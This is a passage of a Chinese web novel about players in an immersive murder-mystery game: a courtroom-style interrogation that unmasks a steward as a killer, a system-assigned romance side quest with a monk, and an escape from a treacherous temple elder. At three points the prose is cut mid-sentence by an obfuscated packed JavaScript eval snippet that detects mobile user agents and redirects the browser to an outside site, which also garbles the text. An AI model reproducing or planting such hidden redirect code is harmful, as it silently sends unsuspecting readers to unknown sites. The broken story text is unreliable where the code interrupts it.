“且后院众人皆知,薛护卫前来送话本时,从未进得院中,都是珠儿前去应门,这便是顾敬口中的私相授受?” “只怕是因为当年妾身带人救下柳姨娘,顾敬就彻底恨上了我,加之近年来亡夫对薛护卫日渐信任,大有越过顾敬这个族弟的趋势,他便也对薛护卫怀恨在心。方才他说的,空口无凭,不过是顾敬因着平日对妾身和薛护卫的怨恨,恶意揣测罢了……” 顾夫人话音未落,管家已经气得面红耳赤,猛地起身,将顾夫人一把推倒在地,指着她恶狠狠地骂道:“你这贱人!明明就是你不守妇道又毒杀亲夫!不仅死不承认,还要污蔑于我!” 冷砚冰一个箭步上前,将管家猛地往后一推,又擒住管家的手臂反扣在后,将其压制在地。 “放肆!”县太爷猛地一拍桌子,大喝道,“顾敬,本官在此!你竟敢动粗!”又向外喊道,“来人,将这人绑住,叫他不许乱动!” 门外两个衙役应声,用绳子将管家五花大绑,拖到一旁。 管家仍旧拼命挣扎,抬起头来止不住地哀求:“大人!大人!小人冤枉,你可要为小人做主啊……” 县太爷不耐烦地白了管家一眼,不想听他继续聒噪,又见沈南南正将顾夫人扶起,便道:“夫人体弱,不便久跪,还是先坐着吧。” 顾夫人满脸憔悴,俯身道谢,坐在了下首左侧的位置上。 沈南南走回县太爷身边,低声建议道:“现在这两人争执不下,只怕还需要其他人证。” 县太爷瞥向沈南南,用口型回了个:薛护卫? 沈南南轻点了两下头表示认同。 “夫人,不知这个薛护卫现在何处?”县太爷问。 顾夫人坦然道:“回县令大人,薛护卫今日去城外料理亡夫下葬之事,说是明日方归,现下不在府中。” 一时,没有其他人证,眼见此番讯问陷入僵局,便在这时,却听门外传来一阵匆忙的脚步声。 众人向外看去,那人正是快班的一个衙役。 “找到了!找到了!”来人语气兴奋又焦急,跑到县太爷跟前,摊开手,将一团由白布包裹着的东西呈上,“大人,您看——” 冷砚冰上前,从那衙役手中将那东西接过,只觉拿东西沉甸甸的,拿到县太爷面前打开一看,竟然是一块形状不规则的石头。 那石头边缘较为锋利,长约四寸,宽约三存,一面有少量血污,而另一面则被大量鲜血浸湿,并沾有不少黑色毛发。 【恭喜玩家张顺才发现关键证据,获得5个积分。】 县太爷和沈南南、冷砚冰三人皆听到了系统的提示音,又惊又喜。 县太爷连忙问:“这是在哪里找到的?” 那衙役禀告道:“回大人,我们几个兄弟沿着河边一路找过去,过了桥,在靠近前院西侧客房附近的草丛里找到了这块石头。这石头裹着白布,很是显眼,小的过去一眼便瞧见了。” 方才趁沈南南和顾夫人进入内室时,县太爷和冷砚冰也没闲着,继续和林白术讨论案情。 林白术觉得,从那具浮尸头部致命伤的伤痕推断,凶器应该是一块形状不规则的石头。未曾想,眼下真还被衙役们给找到了,而且这竟还是系统所说的关键证据。 然而冷砚冰听到那衙役的回话,眉头微皱:“裹着白布?” 那衙役回道:“是啊冷头儿,小的也觉得奇怪呢。” “先别管其他的了,林白术,先看看是不是这块。”县太爷急切地想要验证那石头到底是不是凶器,赶忙让冷砚冰将其交与林白术仔细查验。 林白术拿着那块白布包裹着的石头,走到那具浮尸前,将其与死者头部的伤痕仔细比对,又用镊子从石头上取下一根毛发,对比死者的头发进,最终得出结论——这块石头确系凶器无误。 “果然!” 县太爷兴奋不已,又想起这具浮尸眼下身份不明,问道,“可这尸体既不是珠儿,也不是府中侍女,那会是谁?” 她心中纳罕,若这女子是昨晚前来赴宴的宾客,断不会穿侍女的衣服,而若是年轻女子一日未归,必然会到衙门报案。 一日未归…… 她灵光一闪,霎时想起今日下午她到红袖招去,的确发现一人昨夜曾到顾府,却一日未归! 又将验尸格录拿在手中细看。 沈南南站立一旁,观察着房中众人的反应,她敏锐地捕捉到,当那块带血的石头打开来时,管家脸色瞬时大变,方才还在挣扎着向县太爷喊冤,现下已是安静异常。 见县太爷沉吟半晌不说话,沈南南俯身,正要提醒她注意一下管家,然而县太爷瞬时睁大双眼,兴奋地叫道:“原来如此!” “咋了?!”沈南南一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439078|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个激灵,下意识问。 “不好意思哦,吓到你了。”县太爷讪讪一笑,连忙将验尸格录上指给沈南南看,“你快看这里!” 沈南南眼神停留在县太爷所指之处,还是她方才亲笔所写——骨骼软,腿、脚骨骼有畸变。 冷砚冰此刻也凑了过来,见了这行字,问道:“这说明了什么?” “红袖招。”县太爷低声提醒。 沈、冷二人闻言,几乎同时用口型回道:“红莲?” 县太爷连忙眨了眨眼睛。 沈南南立即转头,死死地盯着管家的脸,见他此刻已是满头大汗,面上毫无血色。县太爷和冷砚冰见沈南南转头,也跟着看了过去。 见众人看过来,管家蜷缩着身躯,身体止不住地颤抖。 林白术在一旁提醒道:“若是凶手,手掌之上必然会有被这石头划破的伤痕。” 冷砚冰会意,两三步走过去,用词有礼,声音却透出一股寒气:“劳烦管家,借双手一观。哦对了,我记得管家的左手还绑着绷带,不知是何缘故?” “小人昨夜拎着水壶倒水,不小心被开水烫到了手……”管家声音微弱,将手蜷缩起来不愿示人。 县太爷质问道:“我记得你不是左撇子吗?什么时候用右手倒水了?!” 闻言,管家更是噤若寒蝉,再不敢多言。此刻他的双手被绑在身后,也由不得他不愿。两个衙役猛地将他身子转过来,将他拼命蜷缩的手掰开,两三下便解开了手上的绷带。 他左手掌部起了诸多水疱,尤其是手掌边缘的皮肤好些已经脱落,显然是烫伤。但手指指腹和指关节处仍有着几条明显不属于烫伤的线型伤痕。 林白术走过去,将那块石头带着些微血痕的一面悬置于管家手掌上方,沿着他手指的伤痕细细比对。 果然,管家那手指上的伤痕与那石头上方的几处血痕完全一致。 县太爷指着管家呵斥道:“顾敬,你这凶犯还有什么话好说?!” 管家周身已抖得向筛糠,俯下身子磕头如捣蒜:“大人饶命,大人饶命……” 冷砚冰沉声道:“还不快快道出实情?” 沈南南也激动道:“快说你是如何杀害红莲,又如何将其抛尸湖中的?” 管家听到这里,像是抓住了一根救命稻草:“小人的确是用这块石头将红莲砸晕,但是并未将其抛入湖中啊!她当时明明只是晕了过去,一定是另外有人将她投入湖中,她才淹死的!” “你还敢胡说!”县太爷厉声道,“验尸格录上写得清清楚楚,红莲正是因为头部的多处挫裂伤,以致头骨碎裂而死,你这凶犯杀人手段如此恶劣,竟还有脸狡辩!还不从实招来?!” 见县太爷情绪如此激动,两个衙役立即将管家按在地上,叫他动弹不得。 “小人知错,小人知错。”管家声音颤抖,可还是咬死先前的说辞,“小人虽然用石头打了红莲,见她没了知觉,便只是将她隐藏在了草丛中,但的确未将红莲抛入湖中啊!小人当真以为她只是晕了过去,杀人之举当真是无心之失!” “那处偏僻,来往行人少,小人原想办完正事后再来处理,但回来时她竟然不见了。小人原以为是她自己醒过来逃走了,心里也是后怕得很,今早还特意去红袖招打听,大人若不信,派人去一问便知……” 县太爷听了,想起此前红袖招的老鸨的确说过这样的话,向一旁的沈、冷二人点了点头。 沈南南眉头拧成川字:“莫非,将红莲投入湖中的,当真另有其人?” 13. 枕上忆 雪簌簌地下着。 寺院的禅房外,一个莫约八九岁的小女孩正坐在台阶上,看着院中的银装素裹,托着腮发呆。 她披散着头发,没有穿鞋,衣衫单薄,却丝毫不觉寒冷。 倏地,一个温暖的东西如被子般从头上罩下来,将她眼前的雪白之景这盖住。她将那东西扯下来——是一件雪狐毛的斗篷。 她转头看去,发现那个一直照看她的小沙弥坐在了身旁,柔声问道:“想什么呢?” “在想阿爹阿娘。” 她语气平淡,没有丝毫的伤感,好像只是在客观地陈述事实。 小沙弥没有说话,低头俯身握住她的脚踝,将方才一并拿过来的绣鞋帮她穿上,动作轻柔。 她一直习惯于小沙弥无微不至的照顾,并没有觉得有任何不妥之处。 她看着小沙弥圆圆的头顶,忽然问:“晦明,你会想你的阿爹阿娘吗?” 小沙弥有些愣神,看了看鞋面上绣工精巧的海棠花,很快又回过神来,继续帮她穿鞋,缓缓道:“晦明没有爹娘。” “那你想他们吗?” 小沙弥帮她穿好了鞋,默了半晌,回道:“我不知道。” “可是,我好想他们。”她又看向远处,托着腮愣愣地说。 “你说他们什么时候来接我啊?不是都说好了,山上的叶子落了就要来的吗?我就知道‘叶子落了’这个约定作不得数的,有的树春天掉叶子啊,那是要再等到明年春天吗?” “是不是阿爹又咳嗽啦,他一咳嗽起来就停不下来……总是不听大夫的话,怎么就不能像我一样乖乖听话的呢?” 她很听话吗? 小沙弥心里这般想着,嘴角略微弯了弯。 “诶,晦明你说,我都来这里这么久啦,阿爹是不是就不会再咳了?他会好起来的吧?” …… 她总是有问不完的问题,说不完的话,一个人也能絮絮叨叨地念叨个不停。 小沙弥不觉得烦,每每只是静静地听着,也不回答。 可是这次,她却转过头来,极其认真地看着他,好像在要一个准确的答案。 小沙弥默默地看着她,点了点头。 她开心地咧嘴笑起来,站起来跑到屋外,大喊一声:“太好啦!那阿爹就能永远同我和阿娘在一起啦!” 诸行无常,众生聚散皆如露电,唯佛陀不生不灭,照三千世界、芸芸众生。 小沙弥心里想着,却没有说这些,只是静静地看着她,又见她转过身来:“对了晦明,阿灵呢?” 阿灵是她前些日子在山中救下的一只小花猫。 她想啊想啊,想了好久要给那只小花猫取什么名字,后来还是觉得她名字里的“灵”字实在是天底下最好的字,于是便唤它为“阿灵”。 “还在睡觉。” 她“哦”了一声,低声嗔道:“真是个懒虫。” 一边说着,又坐到了他身边仰着头看雪。 安静了片刻,忽然问:“晦明,你以后会下山看我吗?” 小沙弥微怔,没有料到她会问这个。 他转过头,看到身旁的小女孩水杏般的眸子直直地盯着他看,睫毛忽闪。 愣了片刻,感到面上似乎有些烫,他撇开眼,默了片刻,轻声回道:“会的。” * 【恭喜玩家杨灵灵完成关键剧情任务,现已成功为您开启您的专属恋爱支线剧情~】 【在此恋爱支线剧情中,您需完成以下三个任务: 1.进入天心寺,完成“用诸妄想,心目为咎”恋爱剧情任务,时限:3个月内。 2.查清天心寺首座晦明的身世之迷。 3.成功让晦明对您表明心意。注意:此告白仅限口头形式,其余形式均视为无效。】 【此三个任务具有极高自由度,您可自由选择完成其中任意一个任务,或是三个任务全部完成。小柳将根据您的任务完成情况给予您丰厚奖励。】 【若您完成一个任务,将获得50积分以及道具大礼包奖励。道具大礼包中内含5个不同的重要道具,皆可为您后续推进剧情提供巨大助益。若您成功完成以上三个任务,则将获得200积分、道具大礼包以及一项永久技能。】 【因以上任务难度较大,除第一项任务外,其余两项任务完成时限不限,在游戏通关前的任意阶段均可完成。】 【但若您未能在规定时限内完成第一个任务,小柳将十分遗憾地扣除您50积分,并为您永久添加“水泥封心”减益效果。在此后所有的副本中,您的五感将会降低50%,极大影响您的搜证能力。】 【小柳温馨提示:当前副本您还有主线剧情尚未完成,您仍需完成以下任务:1.洗脱犯罪嫌疑。2.隐藏您与天心寺首座晦明之间的关系。3.找出杀害渝州城富商顾员外的真凶。】 【现为您播报您的积分及其他玩家游戏进度:您当前积分1。沈南南等玩家现已完成集中搜证、初次凶手指认、集中推理环节,目前正在进行自由搜证环节,并已累计海量积分。】 【自由搜证环节为最后一轮搜证,该环节内玩家可在世界内自由搜证,自由搜证环节中,若玩家发现并拾取关键证据,系统将会给予玩家相应积分奖励。午时正刻将自动进入最终集中推理及最终凶手指认环节,倒计时6个小时。】 【小柳温馨提示:因游戏时间有限,请您根据实际情况合理选择并完成系统任务,积极赚取游戏积分哦。】 【祝您游戏愉快。】 …… 睡梦中,杨灵灵头疼得要命,一会儿是被强制唤起的儿时记忆,一会儿是系统喋喋不休的少女音。 信息量太大,她虽还没醒,却已经在梦里整理了半天,心中有一万句槽要吐。 千言万语汇成一句话,去他*的! 没想到之前在牢狱做的那个关键剧情任务,竟还真是开启专属恋爱支线剧情的条件! 这下倒好,任务是完成了,然而眼睛一闭一睁,她的几个朋友进度条都快拉到最终集中推理阶段了。 而她呢? 惨兮兮地得了一个积分,不仅没参加集中搜证和初次凶手指认环节,现在连凶手的影儿都还没摸到。要是再晚一些,只怕这个副本就这样结束了。 她现在一心只想回到主线任务上,不想再管什么莫名其妙的恋爱支线了。 然而,系统说了,她要是没完成第一个恋爱剧情任务,将被扣除您50积分,并且搜证能力也会降低一半。 这不是赤裸裸的威胁是什么? 50积分?她累死累活完成的关键剧情任务,才得了1个积分啊。 这这破系统就知道一股脑地分配任务,真的有没有考虑过实际情况啊! 这几个支线任务看似奖励丰厚,但要求又多难度又大,根本不是人能完成的好吧? 她一个人二十四小时,即便是不眠不休,怎么可能一边推主线,一边搞支线? 她就一普通文科研究生,文凭还没拿到呢,又不是刑侦专业毕业的,这破系统是不是太看得起她了? 而且,前两条任务看上去还算正常,但最后一条是什么鬼? 人家晦明是个一心向佛的和尚啊,非要让他口头向杨灵灵表白?不是逼着人家破戒吗? 上次那个关键剧情任务就已经够离谱的了?这次还来? 神经病啊! 滚! 杨灵灵顿时生起一股无名怒火,按照之前想的那样,右手一挥,狠狠地给这个卖萌的系统来上了一巴掌。 只听“啪”地重重一声,嘿,真让她那一巴掌打在实处。 活该。 然而恍惚间,她感到手掌之下,被她扇过的对象好像抖了一抖。 这家伙也知道什么叫疼啊。 杨灵灵在心中冷哼一声,收回手,揉了揉酸涩的双眼准备起身。她现在得赶快回去和沈南南她们汇合。 便在这时,她忽然发觉,有一股隐隐的檀香味凑在她鼻尖,将她的上半身包裹得严严实实。 她此刻似乎正枕着一个不算太柔软的东西。 她不耐烦地挪了挪脑袋,而她枕着那个东西竟然也跟着动了动。 杨灵灵瞬间头皮发麻,惊愕地睁大双眼。 眼前光线昏暗,被一片玉色的布料遮挡住——那布料甚至还带着微弱的起伏以及柔和的温度。 她身体僵住,不敢乱动。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439079|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大脑在飞快地思索,而眼睛则偷偷地向上瞟去。而那玉色布料的上方,一双令她有些熟悉的双眸正向下看过来。 视线就这样交汇在了一处。 杨灵灵双眼眨巴眨巴,愣了愣,将那人认了半晌,又见他白净的脸上,一个红红的巴掌印十分明显,这才反应过来自己方才做了什么。 紧接着,她才惊觉,自己正枕着那人的大腿,侧躺在他怀中。 “啊——” 杨灵灵大叫一声,一个鲤鱼打挺就要起身,好在那人有了方才的经验,将上半身往后微微倾倒,避免了与她的铁头相撞。 杨灵灵环顾四周,发现自己竟然正与那人同在一张木板床之上,赶忙从那张床上挪了下来。 “施主醒了?”那人出声,语气平和。 杨灵灵背对着他,无奈且悲伤地闭着眼不愿面对。 难道,这破恋爱支线就这样猝不及防地开始了吗? 她做了做心理建设,并未转身,尴尬而不失礼貌地对着面前的空气打了个招呼:“晦明法师,你好。” 只听晦明音色如常:“施主好。” 杨灵灵也不敢去看晦明现在是何表情,她往前走了两步,一边缓解尴尬,一边快速辨认着当下所处的环境。 窗外的天露出鱼肚白,按照系统的提示,能够算出现在应当是卯正时分。 然而眼下,是一个令她极为陌生的空间。房中四处结着蛛网,一应陈设都蒙上一层厚厚的灰,看上去像是一间良久不曾住人的废弃土屋。 中间被隔断开来,大致被分为卧房和正厅两个房间。他们所在的是正是卧房,仅能够摆下一张木板床和一旁的一只矮脚木柜。 虽说有隔断,但也几乎等于没有。一眼望出去,基本就能将整个外间看得清清楚楚。 迎面出去,正中是一张木桌,桌子旁歪七扭八地放着两根长长的板凳。而木门后面,还有一些东倒西歪的锄头、镰刀等农具。 见大门关着,杨灵灵走过去伸手晃了晃门板,发现那门从外上了锁。 她不敢轻举妄动,仔细回想着之前的情形。 在她来到这里之前,本是在县衙的牢狱中。 那时她正要出去,却忽见一个黑影,继而发现柳姨娘惨死,几个狱卒都陷入了昏迷,连同她自己也昏倒在地。 待再次睁开眼,竟同晦明出现在了这里。 当时她便觉得牢狱中气味怪异,现在想来,定是那个黑影在牢狱中放了迷烟。是那人杀了柳姨娘,又将晦明劫出牢狱的吗? 难道是天心寺的人? 可若是要劫狱,为什么连她也一并劫出来了? 她和顾府的案子可是半毛钱关系也没有啊。 杨灵灵想不明白,于是转身回到卧房中,见晦明仍结跏趺坐于那张木板床上。 感受到杨灵灵的目光,晦明抬眸,见她一脸复杂地看向自己,欲言又止。 “施主,有什么想问的便问吧。” 他倒是坦然。 杨灵灵也不再顾虑,直接问道:“法师,你还记得昨晚在牢狱里的那个黑影吗?” “记得。” “所以,你和那个黑影是一伙的吗?”她盯着晦明的眼睛。 晦明的眼神却毫不闪躲:“不是。” “你的意思是,你也不知道自己为什么会出现在这里?” “诚如施主所言。” 难道,是她错怪他了? 然而还未及深想,却听到外间传来响动。伴随着金属碰撞之声,像是有人正在开锁,紧接着“吱呀——”一声,木门打开了。 杨灵灵一个激灵,想要找个地方躲起来,立即低声提醒:“快躲起来。” 晦明却纹丝未动。 情急之下,也顾不得旁人了。她环视一圈,这卧房巴掌大的地方,除了一张木床和一个只能塞下婴儿的小木柜,要躲就只能往床底下躲了。 可那说起来是床,其实也就是一块四角有腿的木板而已,床上又无任何能够遮挡的东西,躲进去也只能是掩耳盗铃罢了。 杨灵灵终于明白晦明为什么不躲了。 她真希望晦明能拉住她,因为当她发现这一点时,她已经在床板底下了。 14. 故人局 “别躲了,我都看见你了。” 来人声音低沉,竟带着些戏谑。 杨灵灵趴在床下,瞧见一双乌皮靴缓缓向自己走来。 她强装镇定,飞快地想着应对之策,忽地瞥见身前有许多小石子,想着说不定能够防身,便猛地抓了一把,塞进了腰间的荷包里。 那双乌皮靴在不远处缓缓停住:“还不出来吗?” 杨灵灵讪讪地从床板下面爬了出来,拍了拍手上和身上的尘土,这才看清那来人——剑眉星目,黑巾蒙面,身高近八尺,一身玄色劲装,腰间配有一把匕首和一把短剑。 这一身黑,想来是昨晚牢狱中的那个黑影没错了。 一眼看上去,若非武艺高强,那必然是有些功夫在身上的。 就她那身上不了台面的三脚猫功夫,多半是打不过的。 于是乎,杨灵灵很是识时务地端坐在床板上,下巴微扬,一副大义凛然、视死如归的模样。 她倒要看看这贼人到底要做什么。 然而那黑衣人见她如此,只是轻笑着摇了摇头,将手中用油纸包着的东西递到她面前。 “饿了吧?”语气中竟带着些关切。 杨灵灵觉察到一丝不对劲。 然而来不及多想,只见面前热气蒸腾,一股香味飘散开来,似乎是几个素馅的包子。 从昨晚开始到现在,她一粒米未进,能撑到现在,还多亏了这黑衣人的迷烟,让她一觉睡到刚才。 这人迷烟都能下,谁知道会不会下毒。 “不吃,谢谢,我减肥。”杨灵灵淡淡地撇开眼,做了个拒绝的手势。 然而话音未落,只听“咕噜”一声,她的肚子竟不争气地叫了。 黑衣人低头轻笑一声:“不吃算了。”将面巾扯下,越过杨灵灵,将包子递给晦明。 “……多谢师兄。”晦明有些迟疑,还是伸手接过。 杨灵灵睁大双眼,一面惊讶于那人俊朗非常的五官,一面错愕地看着他们就这样自然地完成了交接。 瞧着杨灵灵瞠目结舌的表情,晦明的手顿住:“怎么了?” “师兄?” 杨灵灵愣愣地盯着晦明,指了指黑衣人。 “看样子是不记得我了。”黑衣人抿嘴笑道。 杨灵灵盯着那黑衣人的脸看,觉得他的面容的确是有些眼熟,但具体怎么个眼熟法,却又说不上来,张了张嘴:“所以,我该记得什么?” 那黑衣人却不甚在意道:“不记得也没关系。” 越是这样,越勾起杨灵灵的探究欲来:“晦明法师叫你师兄,可你这打扮也不像和尚啊,还俗了?对了,你以前的法名叫什么?” 黑衣人看向晦明,与他交换了眼神,道:“炳灵既心悦于你,断然不会做出对你我不利之事,告诉她也无妨。” 闻言,杨灵灵脑袋几乎宕机。 是她耳朵出问题了还是另外两个人脑子出问题了? 她什么时候说过自己喜欢晦明了? 他这结论怎么得出来的? 难不成是因为他恰好看到昨晚她与晦明在牢狱中如此如此这般这般了吗? 然而她还未及开口反驳,却听黑衣人自我介绍道:“我是玄明,可还记得?” 玄明,这个名字,的确很耳熟。 她忽然忆起,年幼的“杨灵灵”在寺中,除了时常照看她的晦明外,的确还有一个叫玄明的小沙弥与她性情相投。 玄明比晦明大上两三岁,身子虽然瘦,长相却不俗,于人情世故上比她们明白些,平日里对他们格外照顾。 寺中修行百无聊赖,玄明是那个最会逗她开心的,时常拉着晦明变着法儿给她找乐子。虽然晦明老是推脱自己还有经书要看,或是还有功课未做,但每次都会被她拉着一起玩儿。 因为是在寺庙里啊,所以要爱护小动物,自然不能上树掏鸟蛋,下河捉鱼虾。 他们就最爱玩儿的是一个扔石子儿的游戏。在石栏杆上放上一块小石头,谁要是能用小石子先将那石头从栏杆上打下去,谁就赢了。 规则简单,却也不是那么轻易能办到的。 她投掷的准头就是那时候练出来的。 一转眼十年过去,这一个个的,怎么都长成这般一表人才、俊逸不凡的少年郎了? 男大十八变啊。她几乎认不出来了。 不过想来也是,那个时候她也才八九岁,而玄明也不过十三四岁,这么多年了,样貌怎能不变呢? 玄明如今瞧着虽说风姿俊逸了不少,但杨灵灵却从他的眼里读出了一种不属于他这个年纪的沧桑之感。 蓄了发,又这幅装扮,应当是还俗了吧。 也不知,在她终于等来独自上山的阿娘、离寺归家后,寺中到底生了何种变故? 回忆结束,杨灵灵愣愣地看着玄明,回了声:“记得。” 她心中有诸多问题,但瞧着玄明那身黑衣,脑中却忽然闪过昨晚牢狱中的情形。 寒暄的话吞了下去,杨灵灵眼中带着一丝警惕:“那么玄明师兄,你现在又是什么身份?天心寺的暗卫吗?” 见玄明未答话,杨灵灵转头看向晦明,音色冷淡:“我记得你方才说,你和他不是一伙儿的。” “的确不是。” 回答的却是玄明,“是我单方面将晦明劫出来的,他全然不知情。” 杨灵灵气笑了:“你倒挺侠义心肠的,那你将我劫出来又是干什么?大哥,我就是个路过的,本来也没被关啊。” “昨晚你在牢中,拿了钥匙开了牢门,晦明逃脱,那么官府的人必然认为你与顾府一案脱不了干系,事后也定会将你关押起来。”玄明看着杨灵灵,语气恳切,“现在已是卯时,只怕官府的人已经正在四处张贴你与晦明的画像,带人全城搜捕了。” 杨灵灵听到这话,两眼一黑,扶额道:“既然都要被抓,你说你费这闲工夫劫狱干什么?” 她指着晦明,“你把他救出来了,他又能逃到哪儿去?真相未明,名声尽毁,他还能平安无事地继续回去当他的首座吗?” 玄明怔住,许是未曾想过杨灵灵能说出这些话来,低头默了半晌,冷笑一声:“官府那群酒囊饭袋,能查出什么真相?” “你就这么看不上官府的人?” 这杨灵灵可就不能同意了。她那两个好友再不济,也是剧本杀的老玩家了,基本的查案能力还是有的。 玄明冷哼一声,没有回话。言下之意,的确是看不上。 杨灵灵不懂他哪儿来的这么多成见,此刻也没时间深究,只转头看向晦明,索性直接问道:“我也懒得兜圈子,现在我就问你,毒杀顾员外,到底是不是你和柳姨娘?” 晦明抬眸,神色如常地看向她,摇了摇头:“不是贫僧,至于是不是柳姨娘,这贫僧不知。” 杨灵灵撇了撇嘴:“那晚到底发生什么了,怎么你什么都不知道?” 晦明深深地看了杨灵灵一眼:“那晚贫僧被点了穴道,之后便中了迷烟,醒来后,便是众人进入厢房,发现贫僧与柳姨娘共处一室。” 杨灵灵一愣,被点了穴道? 莫非顾府当晚发生的诸多事,正是在她前脚离开之后? 带着些歉意,她讪讪地“哦”了一声:“行吧,你既然不是凶手,与柳姨娘一事又是旁人蓄意陷害,那还逃什么?难道你就不想查明真相,还自己清白?” 晦明垂下眼眸:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这番话的信息量太大,杨灵灵的脑袋正飞快地处理着,然而只听“噌”的一声,玄明已从腰间抽出一把匕首,猛地勒住晦明的脖子,将那利刃抵在他的颈项间。 杨灵灵的下巴都快倒掉了地上,不知这局面怎么忽地一转,玄明竟对晦明刀剑相向。 玄明用眼角余光瞟着晦明,但又像是对着领头那人,阴狠地道:“不用你说,我将他劫出来,本就是为了更方便地杀他。当初我在寺里就恨极了他,什么都要争在我前头,明明就是个只知念经的榆木脑袋罢了,偏生住持爱重,又对他寄予厚望。” “好好好!”领头的拍手称快,眼中却透着杀意,“玄明啊,你这番话实在是说到我的心坎上了。快,快杀了他!” “监寺师叔。”晦明看向那领头之人,音色却依旧平静,“我与你何仇何怨?你为何非要取我性别?” “认出来了?”那领头的收住笑意,状似苦口婆心地道,“傻孩子,都说你极有慧根,怎么竟连这点道理也悟不出?” “今日贫僧不妨如实相告,也好教你死个明白。只恨住持师兄这般器重你,竟要力荐你为下任住持。你年纪轻轻,怎能堪此重任?贫僧看你俗世情缘未了,不若成全了你,助你下山成就这段姻缘。谁知你如此冥顽不灵,不仅不肯人名,竟还敢当众逃狱,枉顾法纪。贫僧少不得要替本寺好好管教于你!” 他一番话说得大义凛然,若不知就里的,当真以为晦明是个怎样枉顾清规戒律、律法纲纪的逆徒。 “玄明,还不快动手!” 监寺急切地大吼一声,恨不得晦明立即死在眼前。 15. 破重围 玄明将手中的匕首死死抵住晦明的脖颈,眼角余光扫到杨灵灵那惊愕万分的脸上,安抚似的柔声道: “还记得我们以前在寺里扔石子玩儿吗?” 像是在莫名怀念年少时那些无忧无虑的愉快时光。 都这个时候了,他怎么还有空说这个? 杨灵灵“啊?”了一声,不解地看向玄明。 只见他深深地看了一眼她腰间的香囊,继而眼神却忽然凌厉起来,扫视着正厅之中的监寺和那四个蒙面黑衣人,话锋一转,语气冰冷彻骨: “到了地府,可就没般好日子过了。” 杨灵灵方才便觉得,玄明似乎在向她暗示些什么,可她不敢确定。 眼角余光却瞥见,晦明此时正朝着她那个方向看过来。 她疑惑地转头看去,只见晦明的目光柔和而坚定,好似在说:你信我吗? 或者不是“我”,而是“我们”——他和玄明。 杨灵灵脑袋飞速运转,环视着房中的其他人,她真的很想说一句:你们打你们的,放过她这个无辜的小女孩行吗? 虽这般想着,却做着两手准备。 她装作惊惧万分的模样,扯着晦明的手臂,紧紧地贴在他身侧后方,在众人目光所不及之处,飞快地将腰间的香囊扯下,放到了身后。 听了玄明的话,那监寺大笑起来:“玄明啊玄明,你当真令贫僧佩服。贫僧原想事后放这丫头一条生路,未曾想你这般狠毒,竟要赶尽杀绝。” 玄明音色淡漠:“师叔说笑了,这丫头在此处见证了这许多,难道还活得成吗?我不过是提前替师叔分忧罢了。” 这番话其实说给杨灵灵听的。 玄明是在提醒她,她如今已是局中人,监寺是断然不会留她活口的。 “还是你想得周到。”监寺赞许地看着玄明,继而瞳孔放大,眼中已满是血气,兴奋地大喊, “快!给我杀了他们!” 监寺话音刚落,只见玄明眼中闪过一抹寒意,猝不及防地将那匕首从晦明的颈项间移开,狠狠地捅进了他的腹部。 顿时,鲜血溅起。 晦明脸色骤变,咬紧牙关,用右手握住伤口处,痛苦地弯下腰,面朝杨灵灵的方向顺势倒地。 不是,真的捅啊? 杨灵灵后撤一步,强忍心中惧意,竭力让自己保持镇定,却见晦明面色痛苦地蜷缩着,用腿挡住脸,向她无声地做了个口型。 “快。” 她看见,就在晦明倒地的一瞬,那监寺万分畅快地仰天大笑起来。 就是此刻。 当外间众人正沉浸在得逞的喜悦之中时,只听“嗖嗖——”破空之声,杨灵灵手中的石子已向那监寺身后左侧掷去。 而几乎同时,晦明也将方才杨灵灵塞到他手中的石子掷向右侧。 “啪啪”几声干脆利落,只听那四个黑衣人皆闷哼一声,石子直击那四人的双腿关节。 稳准狠。 那四人下意识地跪倒在地——力道虽不能使其重伤,但足以为玄明留够时间。 听见身后之人的动静,监寺惊诧地转身。 便在这时,玄明一个健步飞身上前,抽出腰间的短剑,抵住了胖和尚的脖子,拉着他退到晦明与杨灵灵的一侧,面朝四个黑衣人,沉声道:“别动!” 监寺错愕万分,不知为何在这转眼之间,形势便逆转过来。 杨灵灵未做停留,向晦明伸出手将他拉起,在那四个黑衣人还未起身之前,飞快地冲向屋外。 黑衣人们很快反应过来,正欲往外追,却听玄明大喊一声:“谁敢乱动!” 那利刃狠狠抵住监寺的喉咙,化出一道浅浅的血痕。 胖和尚疼得颤抖着求饶:“别别别,有话好商量,有话好商量。”又焦急地喊道,“给我停下!” 那四人果然停下动作,面面相觑,不敢轻举妄动。 玄明见状,立即向屋外喊道:“屋外有匹黑马!” 晦明飞快地跑到那黑马旁,解开缰绳,纵身一跃跨上马背,向杨灵灵伸出手。 杨灵灵想也未想便将他地手紧紧握住,纵身上马坐于他身前。 晦明拉着缰绳,正欲打马,然而只听“嗖”地一声,一支暗箭竟从屋内飞出,直直扎进了晦明的左小腿。 晦明一声吃痛,下意识夹紧双腿,那马儿受了惊吓,嘶鸣一声,不受控地向外疾驰而去。 “师兄!”晦明向着屋内大喊一声。 